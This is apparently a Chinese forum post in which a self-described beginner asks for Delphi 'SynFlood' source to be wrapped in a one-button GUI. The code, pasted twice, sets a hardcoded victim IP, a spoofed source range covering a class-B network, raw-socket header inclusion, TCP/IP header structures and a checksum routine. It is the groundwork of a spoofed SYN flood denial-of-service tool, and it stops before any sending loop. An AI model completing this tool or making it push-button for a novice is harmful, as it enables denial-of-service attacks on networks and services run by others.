哪位能帮把下面的源码改成有界面程序的 按一个按钮 然后执行 我是菜鸟
program SynFlood;{$APPTYPE CONSOLE}uses
Windows,
Winsock;//WinSock2;const
IP_HDRINCL = 2; // IP Header Include
Header_SEQ = $19026695;
SEQ = $28376839;
SYN_DEST_IP = '172.17.103.127'; //被攻击的IP
FAKE_IP = '10.168.150.1'; //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段//TCP头 20位
type
TCP_HEADER = record
th_sport : Word; //16位源端口
th_dport : Word; //16位目的端口
th_seq : DWORD; //32位序列号
th_ack : DWORD; //32位确认号
th_lenres : Byte; //4位首部长度+6位保留字中的4位
th_flag : Byte; //2位保留字+6位标志位 2是SYN,1是FIN,16是ACK探测
th_win : Word; //16位窗口大小
th_sum : Word; //16位校验和
th_urp : Word; //16位紧急数据偏移量
end;// IP 头 20位
type
IP_HEADER = record
h_verlen : Byte; //4位首部长度+4位IP版本号
tos : Byte; //8位服务类型TOS,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
total_len : Word; //16位总长度(字节) IP包的长度,若没有特殊选项,一般为20字节长
ident : Word; //16位IP包标识,主机使用它唯一确定每个发送的数据报
frag_and_flags : Word; //Fragment Offset 13 IP数据分割偏移
ttl : Byte; //8位生存时间TTL,每通过一个路由器,该数值减一
proto : Byte;//8位协议号(TCP, UDP 或其他) 比如:ICMP为1,IGMP为2,TCP为6,UDP为17等
checksum : Word; //16位IP首部校验和
sourceIP : LongWord; //32位源IP地址
destIP : LongWord; //32位目的IP地址
end;//TCP伪头 12位
type
PSD_HEADER = record
saddr : DWORD; //源地址
daddr : DWORD; //目的地址
mbz : Byte; //置空
ptcl : Byte; //协议类型
tcpl : WORD; //TCP长度
end;type
CLIENTPARA = record
Port:integer;
IP:string;
end;var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
TimeOut :Integer =5000;function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';function IntToStr(I: integer): string;
begin
Str(I, Result);
end;function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;{
CheckSum:计算校验和的子函数
IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),
然后计算整个IP首部(包括选项)的二进制反码的和
TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。
由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,
在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和
}
function checksum(var Buffer; Size: integer): word;
type
TWordArray = array[0..1] of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;
program SynFlood;{$APPTYPE CONSOLE}uses
Windows,
Winsock;//WinSock2;const
IP_HDRINCL = 2; // IP Header Include
Header_SEQ = $19026695;
SEQ = $28376839;
SYN_DEST_IP = '172.17.103.127'; //被攻击的IP
FAKE_IP = '10.168.150.1'; //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段//TCP头 20位
type
TCP_HEADER = record
th_sport : Word; //16位源端口
th_dport : Word; //16位目的端口
th_seq : DWORD; //32位序列号
th_ack : DWORD; //32位确认号
th_lenres : Byte; //4位首部长度+6位保留字中的4位
th_flag : Byte; //2位保留字+6位标志位 2是SYN,1是FIN,16是ACK探测
th_win : Word; //16位窗口大小
th_sum : Word; //16位校验和
th_urp : Word; //16位紧急数据偏移量
end;// IP 头 20位
type
IP_HEADER = record
h_verlen : Byte; //4位首部长度+4位IP版本号
tos : Byte; //8位服务类型TOS,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
total_len : Word; //16位总长度(字节) IP包的长度,若没有特殊选项,一般为20字节长
ident : Word; //16位IP包标识,主机使用它唯一确定每个发送的数据报
frag_and_flags : Word; //Fragment Offset 13 IP数据分割偏移
ttl : Byte; //8位生存时间TTL,每通过一个路由器,该数值减一
proto : Byte;//8位协议号(TCP, UDP 或其他) 比如:ICMP为1,IGMP为2,TCP为6,UDP为17等
checksum : Word; //16位IP首部校验和
sourceIP : LongWord; //32位源IP地址
destIP : LongWord; //32位目的IP地址
end;//TCP伪头 12位
type
PSD_HEADER = record
saddr : DWORD; //源地址
daddr : DWORD; //目的地址
mbz : Byte; //置空
ptcl : Byte; //协议类型
tcpl : WORD; //TCP长度
end;type
CLIENTPARA = record
Port:integer;
IP:string;
end;var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
TimeOut :Integer =5000;function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';function IntToStr(I: integer): string;
begin
Str(I, Result);
end;function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;{
CheckSum:计算校验和的子函数
IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),
然后计算整个IP首部(包括选项)的二进制反码的和
TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。
由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,
在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和
}
function checksum(var Buffer; Size: integer): word;
type
TWordArray = array[0..1] of word;
var
lSumm: LongWord;
iLoop: integer;
begin
lSumm := 0;
iLoop := 0;
while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);
end;
if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);
end;
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货